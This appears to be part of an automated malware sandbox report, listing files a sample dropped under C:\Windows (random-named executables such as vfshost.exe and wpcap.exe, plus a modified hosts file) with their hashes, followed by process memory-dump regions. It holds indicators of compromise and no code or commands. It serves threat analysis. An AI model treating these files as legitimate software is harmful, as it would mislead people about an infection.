C:\Windows\gezmcuhh\euiugba.exe

Filesize
8.6MB

MD5
38185644ec0f02fc0075e0a375db7c60

SHA1
fdb1bc01fac92629fb0ca5ef908fa9e6f68934ca

SHA256
62551ac13187150f4495d364a53c68f443098d1e1fe0ff9f315d821b5908b6ac

SHA512
3d289ba4ad8aa71ff83c3091d501226a8b105b930bf744ee00eab2fca580ed6357ccd53e9d9cefb0331965dd3e66f70d00a185176bcfdb93773cab150a1874ba

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\thgpqiiyn\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\thgpqiiyn\zymuetvrm\glithlcwh.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\thgpqiiyn\zymuetvrm\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
memory/208-78-0x0000000000CC0000-0x0000000000D0C000-memory.dmp

Filesize
304KB

Download
memory/216-155-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/216-142-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/1096-228-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/1108-138-0x00007FF731B40000-0x00007FF731C2E000-memory.dmp

Filesize
952KB

Download
memory/1108-136-0x00007FF731B40000-0x00007FF731C2E000-memory.dmp

Filesize
952KB

Download
memory/1172-175-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/1432-162-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1432-149-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/1448-248-0x0000000000840000-0x0000000000852000-memory.dmp

Filesize
72KB

Download
memory/1620-185-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/2208-235-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/2440-233-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/3172-189-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/3660-214-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/3756-219-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/4040-171-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/4280-193-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/4364-4-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/4364-0-0x0000000000400000-0x0000000000AA4000-memory.dmp

Filesize
6.6MB

Download
memory/4552-180-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/4564-223-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/4572-202-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/4712-197-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/4932-210-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/5012-238-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download
memory/5088-182-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp

Filesize
1.1MB

Download
memory/5088-168-0x000001C03F090000-0x000001C03F0A0000-memory.dmp

Filesize
64KB

Download
memory/5088-165-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp

Filesize
1.1MB

Download
memory/5088-225-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp

Filesize
1.1MB

Download
memory/5088-178-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp

Filesize
1.1MB

Download
memory/5088-236-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp

Filesize
1.1MB

Download
memory/5088-216-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp

Filesize
1.1MB

Download
memory/5088-199-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp

Filesize
1.1MB

Download
memory/5088-249-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp

Filesize
1.1MB

Download
memory/5088-250-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp

Filesize
1.1MB

Download
memory/5088-251-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp

Filesize
1.1MB

Download
memory/5088-253-0x00007FF71E2E0000-0x00007FF71E400000-memory.dmp

Filesize
1.1MB

Download
memory/5100-231-0x00007FF750530000-0x00007FF75058B000-memory.dmp

Filesize
364KB

Download